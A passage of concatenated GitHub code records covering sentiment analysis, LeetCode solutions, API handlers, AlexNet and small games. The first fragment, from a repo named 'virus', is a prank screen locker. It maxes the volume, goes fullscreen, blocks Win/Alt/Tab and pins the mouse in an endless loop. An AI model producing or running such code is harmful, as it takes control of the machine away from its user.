0):\r\n Keyboard.keyDown(keyCode)\r\n time.sleep(length)\r\n Keyboard.keyUp(keyCode)\r\n\r\n\r\nclass Sound:\r\n __current_volume = None\r\n\r\n @staticmethod\r\n def current_volume():\r\n if Sound.__current_volume is None:\r\n return 0\r\n else:\r\n return Sound.__current_volume\r\n\r\n @staticmethod\r\n def __set_current_volume(volume):\r\n if volume > 100:\r\n Sound.__current_volume = 100\r\n elif volume < 0:\r\n Sound.__current_volume = 0\r\n else:\r\n Sound.__current_volume = volume\r\n\r\n\r\n __is_muted = False\r\n\r\n @staticmethod\r\n def is_muted():\r\n return Sound.__is_muted\r\n\r\n\r\n @staticmethod\r\n def __track():\r\n if Sound.__current_volume == None:\r\n Sound.__current_volume = 0\r\n for i in range(0, 50):\r\n Sound.volume_up()\r\n\r\n\r\n @staticmethod\r\n def mute():\r\n Sound.__track()\r\n Sound.__is_muted = (not Sound.__is_muted)\r\n Keyboard.key(Keyboard.VK_VOLUME_MUTE)\r\n\r\n @staticmethod\r\n def volume_up():\r\n Sound.__track()\r\n Sound.__set_current_volume(Sound.current_volume() + 2)\r\n Keyboard.key(Keyboard.VK_VOLUME_UP)\r\n\r\n @staticmethod\r\n def volume_down():\r\n Sound.__track()\r\n Sound.__set_current_volume(Sound.current_volume() - 2)\r\n Keyboard.key(Keyboard.VK_VOLUME_DOWN)\r\n\r\n\r\n @staticmethod\r\n def volume_set(amount):\r\n Sound.__track()\r\n\r\n if Sound.current_volume() > amount:\r\n for i in range(0, int((Sound.current_volume() - amount) / 2)):\r\n Sound.volume_down()\r\n else:\r\n for i in range(0, int((amount - Sound.current_volume()) / 2)):\r\n Sound.volume_up()\r\n\r\n @staticmethod\r\n def volume_min():\r\n Sound.volume_set(0)\r\n\r\n @staticmethod\r\n def volume_max():\r\n Sound.volume_set(100)\r\n\r\n\r\ndef start_screen():\r\n Sound.volume_max()\r\n pygame.init()\r\n pygame.mixer.init()\r\n screen = pygame.display.set_mode((0, 0), pygame.FULLSCREEN)\r\n pygame.display.set_caption('дурашка')\r\n\r\n fps = 7200\r\n clock = pygame.time.Clock()\r\n keyboard.block_key('win')\r\n keyboard.block_key('alt')\r\n keyboard.block_key('tab')\r\n # for i in '1234567890-=qwertyuiop[]asdfghjkl;\\zxcvbnm,./':\r\n # keyboard.block_key(i)\r\n\r\n screen.fill('black')\r\n pygame.display.flip()\r\n im = pygame.image.load('python_org.png')\r\n flag = False\r\n\r\n while True:\r\n clock.tick(fps)\r\n screen.blit(im, (0, 0))\r\n pygame.mouse.set_pos((500, 500))\r\n\r\n im = pygame.transform.scale(im, (1920, 1080))\r\n screen.blit(im, (0, 0))\r\n pygame.display.flip()\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n terminate()\r\n\r\n if not flag:\r\n landing = pygame.mixer.Sound(\"python_org.mp3\")\r\n landing.play(maxtime=2000)\r\n flag = True\r\n\r\n\r\ndef terminate():\r\n pygame.quit()\r\n sys.exit()\r\n\r\n\r\nstart_screen()","repo_name":"Wapppp12q/virus","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70619769014","text":"import io\nimport numpy as np\nimport pandas as pd\n\nfrom sklearn import metrics\nfrom sklearn import linear_model\nfrom sklearn import model_selection\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\n\n\ndef load_vectors(fname):\n fin = io.open(\n fname, mode=\"r\", encoding=\"utf-8\", newline=\"\\n\", errors=\"ignore\"\n )\n # n, d = map(int, fin.readline().split())\n data = {}\n for line in fin:\n tokens = line.rstrip().split(\" \")\n data[tokens[0]] = list(map(float, tokens[1:]))\n\n return data\n\n\ndef sentence_to_vec(sent, embedding_dict, stop_words, tokenizer):\n # convert the sentence to string and lowercase it\n words = str(sent).lower()\n\n # tokenize the sentence\n words = tokenizer(words)\n\n # remove the stopwords\n words = [w for w in words if w not in stop_words]\n\n # keep only alpha-numeric tokens\n words = [w for w in words if w.isalpha()]\n\n # empty list to store word_embeddings\n word_embeddings = []\n for w in words:\n # for every word, fetch the embedding vector and\n # append it in the word embedding list\n if w in embedding_dict:\n word_embeddings.append(embedding_dict[w])\n\n # if we don't have any words, return vector of zeros\n if len(word_embeddings) == 0:\n return np.zeros(300)\n\n # convert the embeddings to array\n word_embeddings = np.array(word_embeddings)\n\n # calculate the sum over the rows\n sent_vec = np.sum(word_embeddings, axis=0)\n\n # return the normalized vector\n return sent_vec / np.linalg.norm(sent_vec)\n\n\nif __name__ == \"__main__\":\n # read the training data\n df = pd.read_csv(\"../data/train_folds.csv\")\n print(df.head(2))\n\n # load embeddings into the memory\n print(\"Loading embeddings...\")\n embeddings = load_vectors(\"../data/glove.6B.300d.txt\")\n\n # create sentence embeddings\n print(\"Creating sentence vectors...\")\n vectors = []\n for review in df.review.values:\n sent_vec = sentence_to_vec(\n review, embeddings, stop_words=[], tokenizer=word_tokenize\n )\n vectors.append(sent_vec)\n\n vectors = np.array(vectors)\n\n # fetch lables\n y = df.sentiment.values\n\n # initiate the stratified kfold\n skf = model_selection.StratifiedKFold(n_splits=5)\n\n # iterate through the folds\n for f_, (t_, v_) in enumerate(skf.split(X=vectors, y=y)):\n print(f\"Training fold: {f_}\")\n xtrain = vectors[t_, :]\n ytrain = y[t_]\n\n xvalid = vectors[v_, :]\n yvalid = y[v_]\n\n # initialize logistic regression model\n model = linear_model.LogisticRegression()\n\n # fit the model\n model.fit(xtrain, ytrain)\n\n # make predictions on the validation data\n preds = model.predict(xvalid)\n pred_proba = model.predict_proba(xvalid)[:, 1]\n\n # calculate accuracy and ROC score\n accuracy = metrics.accuracy_score(yvalid, preds)\n auc = metrics.roc_auc_score(yvalid, pred_proba)\n\n print(f\"Accuracy: {accuracy:.5f}, ROC-AUC: {auc:.5f}\")\n print(\"\")\n","repo_name":"LakshyaMalhotra/toy-projects-nlp","sub_path":"imdb-sentiment-analysis/good-old-nlp/sentence_vector.py","file_name":"sentence_vector.py","file_ext":"py","file_size_in_byte":3129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73888450612","text":"\"\"\"\ndp[i][k]: ways to form target[0:i] using word[0:k]\n1. we do not use word[k] to form target[i]\ndp[i][k] = dp[i][k-1]\n\n2 we use word[k] to form target[i]\ndp[i][k] += dp[i-1][k-1] * count(how many word[k] == target[i])\n\nn = len(target), m = len(words[0])\nreturn dp[n][m]\n\nsol 2:\nres[j] means the number of ways to form target j first characters.\n\n\"\"\"\n\nclass Solution:\n def numWays(self, words, target):\n n, mod = len(target), 10**9 + 7\n res = [1] + [0] * n\n # print(\"res -->\", res)\n for i in range(len(words[0])):\n # print(\"i\", i)\n count = collections.Counter(w[i] for w in words)\n # print(\"count -->\", count)\n for j in range(min(i, n - 1), -1, -1):\n # print(\"j: \", j)\n res[j + 1] += res[j] * count[target[j]] % mod\n # print(\"res: \", res)\n return res[n] % mod\n\nclass Solution:\n # TLE\n def numWays(self, words: List[str], target: str) -> int: \n size = len(words[0])\n m = 10**9+7\n # number of ways to form target[i:] using words[..][j:]\n @cache\n def dp(i, j): \n # base case: there is one way not to put any characters\n if i == len(target):\n return 1\n # base case: empty string cannot make target\n if j == size:\n return 0\n res = 0\n # count the occ of target[i] in words[..][j]\n # use column j\n cnt = 0\n for word in words:\n if word[j] == target[i]:\n cnt += 1\n # for the current character, there is cnt ways\n res += cnt * dp(i+1, j+1)\n\n # skip column j\n res += dp(i, j+1)\n\n res = res % m\n return res\n return dp(0, 0)\n\nclass Solution:\n # bottom-up DP\n def numWays(self, words: List[str], target: str) -> int: \n size = len(words[0])\n m = 10**9+7\n count = [[0] * 26 for _ in range(size)]\n # count number of chars in position j: O(nk)\n for word in words:\n for j in range(size):\n count[j][ord(word[j]) - ord('a')] += 1\n # number of ways to form target[i:] using words[..][j:]: O(mk)\n @cache\n def dp(i, j): \n # base case: there is one way not to put any characters\n if i == len(target):\n return 1\n # base case: empty string cannot make target\n if j == size:\n return 0\n res = 0\n # count the occ of target[i] in words[..][j]\n # use column j\n # cnt = 0\n # for word in words:\n # if word[j] == target[i]:\n # cnt += 1\n cnt = count[j][ord(target[i]) - ord('a')]\n # for the current character, there is cnt ways\n res += cnt * dp(i+1, j+1)\n\n # skip column j\n res += dp(i, j+1)\n\n res = res % m\n return res\n return dp(0, 0)\n \nif __name__ == '__main__':\n\ts = Solution()\n\tprint(s.numWays([\"acca\",\"bbbb\",\"caca\"], \"aba\")) # 6\n\n\n ","repo_name":"xiaofanc/leetcode","sub_path":"1639-ways-to-form-a-target-string-given-dict.py","file_name":"1639-ways-to-form-a-target-string-given-dict.py","file_ext":"py","file_size_in_byte":3171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20130604725","text":"import inspect\nfrom utils.log import logger as log\nthisFilename = __file__.split(\"/\")[-1]\n\nfrom database.user.user import DBUser\nfrom source.user.add_user import AddUserResource\n\ndbu = DBUser()\naur = AddUserResource()\n\nclass GetUserResource:\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def convertMongoDBObjectsToObjects(self, user: \"list of dict\") -> \"list of dict\":\n user[\"_id\"] = user[\"_id\"][\"$oid\"]\n if user[\"baseLocation\"]:\n user[\"baseLocation\"] = user[\"baseLocation\"][\"$oid\"]\n for otherLocation in user[\"otherLocations\"]:\n otherLocation[\"locationId\"] = otherLocation[\"locationId\"][\"$oid\"]\n otherLocation[\"timeline\"][\"begin\"] = otherLocation[\"timeline\"][\"begin\"][\"$date\"]\n otherLocation[\"timeline\"][\"end\"] = otherLocation[\"timeline\"][\"end\"][\"$date\"]\n for nonAvailability in user[\"nonAvailability\"]:\n nonAvailability[\"timeline\"][\"begin\"] = nonAvailability[\"timeline\"][\"begin\"][\"$date\"]\n nonAvailability[\"timeline\"][\"end\"] = nonAvailability[\"timeline\"][\"end\"][\"$date\"]\n for project in user[\"access\"][\"projects\"]:\n project[\"projectId\"] = project[\"projectId\"][\"$oid\"]\n for milestone in project[\"milestones\"]:\n milestone[\"milestoneId\"] = milestone[\"milestoneId\"][\"$oid\"]\n milestone[\"pulses\"] = [pulse[\"$oid\"] for pulse in milestone[\"pulses\"]]\n if user[\"meta\"][\"addedBy\"]:\n user[\"meta\"][\"addedBy\"] = user[\"meta\"][\"addedBy\"][\"$oid\"]\n if user[\"meta\"][\"addedOn\"]:\n user[\"meta\"][\"addedOn\"] = user[\"meta\"][\"addedOn\"][\"$date\"]\n if user[\"meta\"][\"lastSeen\"]:\n user[\"meta\"][\"lastSeen\"] = user[\"meta\"][\"lastSeen\"][\"$date\"]\n return user\n\n \"\"\"\n REQUEST:\n \"username\": str\n \"displayname\": str\n \"\"\"\n def on_get(self, req, resp):\n responseObj = {\n \"responseId\": 111,\n \"message\": \"\",\n \"data\": {}\n }\n try:\n # 01. get user by username\n user = dbu.getUserByUsername(req.params[\"kartoon-fapi-incoming\"][\"username\"])\n # 02. if user does not exist\n if not user:\n # 02. 01. add user\n aur.addUser(\n req.params[\"kartoon-fapi-incoming\"][\"username\"],\n req.params[\"kartoon-fapi-incoming\"][\"displayname\"],\n None\n )\n # 02. 02. get added user by username\n user = dbu.getUserByUsername(req.params[\"kartoon-fapi-incoming\"][\"username\"])\n # 03. update users' last seen\n dbu.updateLastSeen(user[\"_id\"][\"$oid\"])\n # 04. clean up mongo objects\n user = self.convertMongoDBObjectsToObjects(user)\n # 05. attach user document in response\n responseObj[\"data\"] = user\n # 06. set responseId to success\n responseObj[\"responseId\"] = 211\n except Exception as ex:\n log.error((thisFilename, inspect.currentframe().f_code.co_name), exc_info=True)\n responseObj[\"message\"] = str(ex)\n resp.media = responseObj\n","repo_name":"kartikeybhardwaj/circuit-bapi","sub_path":"source/user/get_user.py","file_name":"get_user.py","file_ext":"py","file_size_in_byte":3192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33738147261","text":"import logging\n\nfrom rxn.utilities.files import (\n PathLike,\n dump_list_to_file,\n iterate_lines_from_file,\n raise_if_paths_are_identical,\n)\n\nlogger = logging.getLogger(__name__)\nlogger.addHandler(logging.NullHandler())\n\n\ndef detokenize_class(tokenized_class: str) -> str:\n \"\"\"\n Function performing a detokenization of the reaction class used in the Transformer classification\n model. E.g. '1 1.2 1.2.3' -> 1.2.3\n\n Args:\n tokenized_class: str to detokenize\n\n Raises:\n ValueError: if the input string format is not correct\n \"\"\"\n if tokenized_class == \"0\":\n return tokenized_class\n\n splitted_class = tokenized_class.split(\" \")\n if len(splitted_class) == 1 and len(splitted_class[0].split(\".\")) == 3:\n # here the class is already detokenized\n return tokenized_class\n if len(splitted_class) != 3:\n raise ValueError(\n f'The class to be detokenized, \"{tokenized_class}\", is probably not in the correct format.'\n )\n return splitted_class[-1]\n\n\ndef tokenize_class(detokenized_class: str) -> str:\n \"\"\"\n Function performing a tokenization of the reaction class used in the Transformer classification\n model. E.g. '1.2.3' -> '1 1.2 1.2.3'\n\n Args:\n detokenized_class: str to tokenize\n\n Raises:\n ValueError: if the input string format is not correct\n \"\"\"\n if detokenized_class == \"0\":\n return detokenized_class\n\n splitted_class = detokenized_class.split(\".\")\n if len(splitted_class) == 4 and len(detokenized_class.split(\" \")) == 3:\n # here the class is already tokenized\n return detokenized_class\n if len(splitted_class) != 3:\n raise ValueError(\n f'The class to be tokenized, \"{detokenized_class}\", is probably not in the correct format.'\n )\n a, b, _ = splitted_class\n return f\"{a} {a}.{b} {detokenized_class}\"\n\n\ndef tokenize_class_line(class_line: str, invalid_placeholder: str) -> str:\n try:\n return tokenize_class(class_line)\n except ValueError:\n logger.debug(f'Error when tokenizing the class \"{class_line}\"')\n return invalid_placeholder\n\n\ndef detokenize_class_line(class_line: str, invalid_placeholder: str) -> str:\n try:\n return detokenize_class(class_line)\n except ValueError:\n logger.debug(f'Error when detokenizing the class \"{class_line}\"')\n return invalid_placeholder\n\n\ndef detokenize_classification_file(\n input_file: PathLike, output_file: PathLike, invalid_placeholder: str = \"\"\n) -> None:\n raise_if_paths_are_identical(input_file, output_file)\n logger.info(f'Detokenizing \"{input_file}\" -> \"{output_file}\".')\n\n detokenized = (\n detokenize_class_line(line, invalid_placeholder)\n for line in iterate_lines_from_file(input_file)\n )\n dump_list_to_file(detokenized, output_file)\n\n\ndef tokenize_classification_file(\n input_file: PathLike, output_file: PathLike, invalid_placeholder: str = \"\"\n) -> None:\n raise_if_paths_are_identical(input_file, output_file)\n logger.info(f'Tokenizing \"{input_file}\" -> \"{output_file}\".')\n\n tokenized = (\n tokenize_class_line(line, invalid_placeholder)\n for line in iterate_lines_from_file(input_file)\n )\n dump_list_to_file(tokenized, output_file)\n\n\ndef classification_string_is_tokenized(classification_line: str) -> bool:\n \"\"\"\n Whether a classification line is tokenized or not.\n\n Args:\n classification_line: line to inspect\n\n Raises:\n ValueError: for errors in tokenization or detokenization\n \"\"\"\n detokenized = detokenize_class(classification_line)\n tokenized = tokenize_class(detokenized)\n return classification_line == tokenized\n\n\ndef classification_file_is_tokenized(filepath: PathLike) -> bool:\n \"\"\"\n Whether a file contains tokenized classes or not.\n '1.2.3' -> '1 1.2 1.2.3'\n\n By default, this looks at the first non-empty line of the file only!\n\n Raises:\n ValueError: for errors in tokenization or detokenization\n RuntimeError: for empty files or files with empty lines only.\n\n Args:\n filepath: path to the file.\n \"\"\"\n for line in iterate_lines_from_file(filepath):\n # Ignore empty lines\n if line == \"\":\n continue\n return classification_string_is_tokenized(line)\n raise RuntimeError(\n f'Could not determine whether \"{filepath}\" is class-tokenized: empty lines only.'\n )\n","repo_name":"rxn4chemistry/rxn-metrics","sub_path":"src/rxn/metrics/tokenize_file.py","file_name":"tokenize_file.py","file_ext":"py","file_size_in_byte":4455,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"73280519731","text":"#!/usr/bin/env python3\n\n\ndef menus():\n \"\"\"\n :return: a dict for showing menu's title, corresponding answer and the flag that quit from the program if it's True\n \"\"\"\n return {\n 1: {\n 'title': 'List the best musical group ever',\n 'answer': 'The Beatles are the best ever',\n 'quit': False\n },\n 2: {\n 'title': 'List the best sports team ever',\n 'answer': 'The Cubs are the best ever',\n 'quit': False\n },\n 3: {\n 'title': 'Quit',\n 'answer': 'OK! Hope you learned something.',\n 'quit': True\n }\n }\n\n\ndef show_main_menu():\n \"\"\"Showing main menu by menus\"\"\"\n showing_menus = menus()\n print('MAIN MENU')\n for i in range(1, len(showing_menus) + 1):\n title = showing_menus[i]['title']\n print(f'{i}. - {title}')\n\n\ndef main():\n show_main_menu()\n\n showing_menus = menus()\n while True:\n try:\n select = int(input('Enter the number for your choice:'))\n\n if select in showing_menus:\n answer = showing_menus[select]['answer']\n quit = showing_menus[select]['quit']\n print(answer)\n if quit:\n break\n else:\n print('That’s not one of the choices. Try again.')\n except:\n print('That’s not one of the choices. Try again.')\n\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"billyean/pyEx","sub_path":"sd/module3/BCE_3_3.py","file_name":"BCE_3_3.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14253051564","text":"import tkinter as tk\nfrom tkinter import filedialog\nfrom matplotlib.figure import Figure\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nimport pandas as pd\nimport numpy as np\n\ndef csvPlot(frame, root):\n global filnavn\n filnavn = ''\n for widget in frame.winfo_children():\n widget.destroy()\n tk.Label(frame, text='Aanderaa', font='Helvetica 18 bold').pack(side=tk.TOP)\n tk.Label(frame, text='Plot csv').pack(side=tk.TOP, anchor=tk.W)\n\n menuFrame = tk.Frame(frame)\n menuFrame.pack(side=tk.TOP, anchor=tk.W)\n\n velMappuBtn = tk.Button(menuFrame, text='Vel Fíl', command=lambda: velFil())\n velMappuBtn.pack(side=tk.LEFT)\n\n teknaBtn = tk.Button(menuFrame, text='Tekna', command=lambda: tekna(fig, canvas))\n teknaBtn.pack(side=tk.LEFT)\n\n fig = Figure(figsize=(12, 8), dpi=100)\n plot_frame = tk.Frame(frame, borderwidth=1, highlightbackground=\"green\", highlightcolor=\"green\", highlightthickness=1)\n plot_frame.pack(fill=tk.BOTH, expand=True, side=tk.LEFT, anchor=tk.N)\n canvas = FigureCanvasTkAgg(fig, master=plot_frame)\n\ndef tekna(fig, canvas):\n fig.clf()\n ax = fig.add_subplot(111)\n ax.plot([1, 2, 3])\n global filnavn\n data = pd.read_csv(filnavn, sep='\\t', header=None)\n csvData = []\n tmp = data[0]\n print(tmp[0])\n thisTimestamp = tmp[0]\n thisRow = [tmp[0]]\n del tmp\n for item in data.iterrows(): # Ger dataframe við col\n itemting = item[1]\n if thisTimestamp != itemting[0]:\n thisTimestamp = itemting[0]\n csvData.append(thisRow)\n thisRow = []\n thisRow.append(itemting[0])\n thisRow.append(itemting[2])\n # Finn Col lables\n header = [\"Date/Time\"]\n for item in data.iterrows():\n tmp = item[1]\n if str(tmp[1]) not in header:\n header.append(str(tmp[1]))\n else:\n break\n\n df = pd.DataFrame(csvData)\n df.to_csv('Kort_Data/test.csv', index=False)\n #print(csvData)\n canvas.draw()\n canvas.get_tk_widget().pack(fill=tk.BOTH, expand=1)\n print('done')\n\n\ndef velFil():\n global filnavn\n filnavn = filedialog.askopenfile(title='Vel fíl', filetypes = ((\"txt Fílir\", \"*.txt\"), (\"csv Fílir\", \"*.csv\"), (\"all files\", \"*.*\"))).name\n print(filnavn)","repo_name":"Fiskaaling/FA_Ingestion_engine","sub_path":"Ingestion/Aanderaa/plotta_boyudata.py","file_name":"plotta_boyudata.py","file_ext":"py","file_size_in_byte":2271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"18407541193","text":"#!/usr/bin/env python\n# coding=utf8\n\nfrom mq_http_sdk.mq_exception import MQExceptionBase\nfrom mq_http_sdk.mq_consumer import *\nfrom mq_http_sdk.mq_client import *\n\n# 初始化 client\nmq_client = MQClient(\n # 设置HTTP接入域名(此处以公共云生产环境为例)\n \"${HTTP_ENDPOINT}\",\n # AccessKey 阿里云身份验证,在阿里云服务器管理控制台创建\n \"${ACCESS_KEY}\",\n # SecretKey 阿里云身份验证,在阿里云服务器管理控制台创建\n \"${SECRET_KEY}\"\n)\n# 所属的 Topic\ntopic_name = \"${TOPIC}\"\n# 您在控制台创建的 Consumer ID(Group ID)\ngroup_id = \"${GROUP_ID}\"\n# Topic所属实例ID,默认实例为空None\ninstance_id = \"${INSTANCE_ID}\"\n\nconsumer = mq_client.get_consumer(instance_id, topic_name, group_id)\n\n# 长轮询表示如果topic没有消息则请求会在服务端挂住3s,3s内如果有消息可以消费则立即返回\n# 长轮询时间3秒(最多可设置为30秒)\nwait_seconds = 3\n# 一次最多消费3条(最多可设置为16条)\nbatch = 3\nprint((\"%sConsume And Ak Message From Topic%s\\nTopicName:%s\\nMQConsumer:%s\\nWaitSeconds:%s\\n\" \\\n % (10 * \"=\", 10 * \"=\", topic_name, group_id, wait_seconds)))\nwhile True:\n try:\n # 长轮询消费消息\n recv_msgs = consumer.consume_message(batch, wait_seconds)\n for msg in recv_msgs:\n print((\"Receive, MessageId: %s\\nMessageBodyMD5: %s \\\n \\nMessageTag: %s\\nConsumedTimes: %s \\\n \\nPublishTime: %s\\nBody: %s \\\n \\nNextConsumeTime: %s \\\n \\nReceiptHandle: %s \\\n \\nProperties: %s\\n\" % \\\n (msg.message_id, msg.message_body_md5,\n msg.message_tag, msg.consumed_times,\n msg.publish_time, msg.message_body,\n msg.next_consume_time, msg.receipt_handle, msg.properties)))\n print(msg.get_property(\"哈哈哈\"))\n except MQExceptionBase as e:\n if e.type == \"MessageNotExist\":\n print((\"No new message! RequestId: %s\" % e.req_id))\n continue\n\n print((\"Consume Message Fail! Exception:%s\\n\" % e))\n time.sleep(2)\n continue\n\n # msg.next_consume_time前若不确认消息消费成功,则消息会重复消费\n # 消息句柄有时间戳,同一条消息每次消费拿到的都不一样\n try:\n receipt_handle_list = [msg.receipt_handle for msg in recv_msgs]\n consumer.ack_message(receipt_handle_list)\n print((\"Ak %s Message Succeed.\\n\\n\" % len(receipt_handle_list)))\n except MQExceptionBase as e:\n print((\"\\nAk Message Fail! Exception:%s\" % e))\n # 某些消息的句柄可能超时了会导致确认不成功\n if e.sub_errors:\n for sub_error in e.sub_errors:\n print((\"\\tErrorHandle:%s,ErrorCode:%s,ErrorMsg:%s\" % \\\n (sub_error[\"ReceiptHandle\"], sub_error[\"ErrorCode\"], sub_error[\"ErrorMessage\"])))\n","repo_name":"aliyunmq/mq-http-samples","sub_path":"python/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":3025,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"21"} +{"seq_id":"41680937163","text":"#!/usr/bin/env python3\n\n# https://thispointer.com/python-add-a-column-to-an-existing-csv-file/\nfrom csv import writer\nfrom csv import reader\n\n# Add a column with same values to an existing CSV file\n\ndefault_text = 'Some useful text'\n# Open the input_file in read mode and output_file in write mode\nwith open('input.csv', 'r') as read_obj, \\\n open('output_1.csv', 'w', newline='') as write_obj:\n # Create a csv.reader object from the input file object\n csv_reader = reader(read_obj)\n # Create a csv.writer object from the output file object\n csv_writer = writer(write_obj)\n # Read each row of the input csv file as list\n for row in csv_reader:\n # Append the default text in the row / list\n row.append(default_text)\n # Add the updated row / list to the output file\n csv_writer.writerow(row)\n\n\n","repo_name":"MD-khan/100-days-python-with-udeny","sub_path":"day_25_csv/add_new_columns/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6821544494","text":"from tensorflow.keras import layers, models, datasets\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\n\ncifar10 = datasets.cifar10\n(x_train, y_train), (x_test, y_test) = cifar10.load_data()\n\ny_train = tf.keras.utils.to_categorical(y_train, 10)\ny_test = tf.keras.utils.to_categorical(y_test, 10)\n\nAlexnet = models.Sequential(\n [\n layers.experimental.preprocessing.Resizing(\n 227, 227, interpolation='bilinear', input_shape=x_train.shape[1:]),\n\n layers.Conv2D(filters=96, kernel_size=(11, 11), strides=(\n 4, 4), input_shape=(224, 224, 3), activation='relu'),\n layers.MaxPool2D(pool_size=(3, 3), strides=(2, 2)),\n layers.BatchNormalization(),\n\n layers.Conv2D(filters=256, kernel_size=(5, 5), strides=(\n 1, 1), activation='relu', padding='same'),\n layers.MaxPool2D(pool_size=(3, 3), strides=(2, 2)),\n layers.BatchNormalization(),\n\n layers.Conv2D(filters=384, kernel_size=(3, 3), strides=(\n 1, 1), activation='relu', padding='same'),\n layers.Conv2D(filters=384, kernel_size=(3, 3), strides=(\n 1, 1), activation='relu', padding='same'),\n layers.Conv2D(filters=256, kernel_size=(3, 3), strides=(\n 1, 1), activation='relu', padding='same'),\n layers.MaxPool2D(pool_size=(3, 3), strides=(2, 2)),\n layers.BatchNormalization(),\n\n layers.Flatten(),\n layers.Dense(4096, activation='relu'),\n layers.Dropout(.5),\n layers.Dense(4096, activation='relu'),\n layers.Dropout(.5),\n layers.Dense(10, activation='softmax')\n ]\n)\n\nAlexnet.compile(optimizer=tf.optimizers.SGD(learning_rate=0.001),\n loss='sparse_categorical_crossentropy', metrics=['accuracy'])\nAlexnet.summary()\n\nAlexnet.fit(x_train, y_train, epochs=1)\n","repo_name":"seunggihong/Conv-Flow","sub_path":"tensorflow/alexnet.py","file_name":"alexnet.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34104492890","text":"import luigi\nimport os\nimport numpy as np\nimport json\nimport pickle\n\nfrom keras.models import load_model\n\nfrom config import DATA_ROOT, CNN_CONFIG\n\nfrom jobs.preprocess import AugmentData, PreprocessRawData\nfrom estimators import cnn\n\n\nclass KerasCNNFitModel(luigi.Task):\n \"\"\"\n Fir the Keras Convolutional Neural Network\n \"\"\"\n\n def requires(self):\n return [\n AugmentData(),\n PreprocessRawData(),\n ]\n\n def output(self):\n return luigi.LocalTarget(os.path.join(DATA_ROOT, 'pointers', 'KerasCNNFitModel.json'))\n\n def run(self):\n\n with self.input()[0].open('r') as path_file:\n paths = json.load(path_file)\n\n X_aug_train = np.load(paths['X_aug_train'])\n y_aug_train = np.load(paths['y_aug_train'])\n\n with self.input()[1].open('r') as path_file:\n paths = json.load(path_file)\n\n X_test = np.load(paths['X_test'])\n y_test = np.load(paths['y_test'])\n\n history, model = cnn.train_model(X_aug_train, y_aug_train, X_test, y_test,\n epochs=CNN_CONFIG['epochs'], batch_size=CNN_CONFIG['batch_size'])\n\n paths = {\n 'history': os.path.join(DATA_ROOT, 'cnn_history.p'),\n 'model': os.path.join(DATA_ROOT, 'cnn.h5'),\n }\n\n with open(paths['history'], 'wb') as history_file:\n pickle.dump(history.history, history_file)\n\n model.save(paths['model'])\n\n with self.output().open('w') as f:\n json.dump(paths, f)\n\n\nclass KerasCNNExtractFeatureModel(luigi.Task):\n \"\"\"\n Save the feature model from the full model\n \"\"\"\n\n def requires(self):\n return [\n KerasCNNFitModel(),\n ]\n\n def output(self):\n return luigi.LocalTarget(os.path.join(DATA_ROOT, 'cnn-feature-model.h5'))\n\n def run(self):\n\n with self.input()[0].open('r') as path_file:\n paths = json.load(path_file)\n\n model = load_model(paths['model'])\n feature_model = cnn.get_feature_extraction_model(model)\n\n feature_model.save(self.output().path)\n\n\nclass KerasCNNExtractFeatures(luigi.Task):\n \"\"\"\n Extract features from the trained convolutional neural network\n \"\"\"\n\n def requires(self):\n return [\n KerasCNNExtractFeatureModel(),\n AugmentData(),\n PreprocessRawData(),\n ]\n\n def output(self):\n return luigi.LocalTarget(os.path.join(DATA_ROOT, 'pointers', 'KerasCNNExtractFeatures.json'))\n\n def run(self):\n\n feature_model = load_model(self.input()[0].path)\n\n with self.input()[1].open('r') as path_file:\n paths = json.load(path_file)\n\n X_aug_train = np.load(paths['X_aug_train'])\n\n with self.input()[2].open('r') as path_file:\n paths = json.load(path_file)\n\n X_test = np.load(paths['X_test'])\n\n X_aug_train_features = feature_model.predict(X_aug_train)\n X_test_features = feature_model.predict(X_test)\n\n paths = {\n 'X_aug_train_features': os.path.join(DATA_ROOT, 'X_aug_train_features.npy'),\n 'X_test_features': os.path.join(DATA_ROOT, 'X_test_features.npy'),\n }\n\n np.save(paths['X_aug_train_features'], X_aug_train_features)\n np.save(paths['X_test_features'], X_test_features)\n\n with self.output().open('w') as f:\n json.dump(paths, f)\n","repo_name":"tom812191/mnist-classification","sub_path":"jobs/cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":3402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37027699756","text":"from art import logo\nimport random\n\nx = random.randint(1,100)\n\ndef play_game():\n print(logo)\n print(\"Welcome to the Number Guessing Game ! \\nI'm thinking of a number between 1 and 100.\\nPssst, the correct answer is 93 \")\n choose = input(\"Choose a difficulty. Type 'easy' or 'hard': \" )\n n = 1\n if choose == 'easy':\n n = 10\n elif choose == 'hard':\n n = 5\n for i in range(n):\n print(f\"You have {n-i} attempts remaining to guess the number.\")\n your_guess = int(input(\"Make a guess: \"))\n if your_guess > x:\n print(\"Too high.\")\n elif your_guess < x:\n print(\"Too low.\")\n else:\n 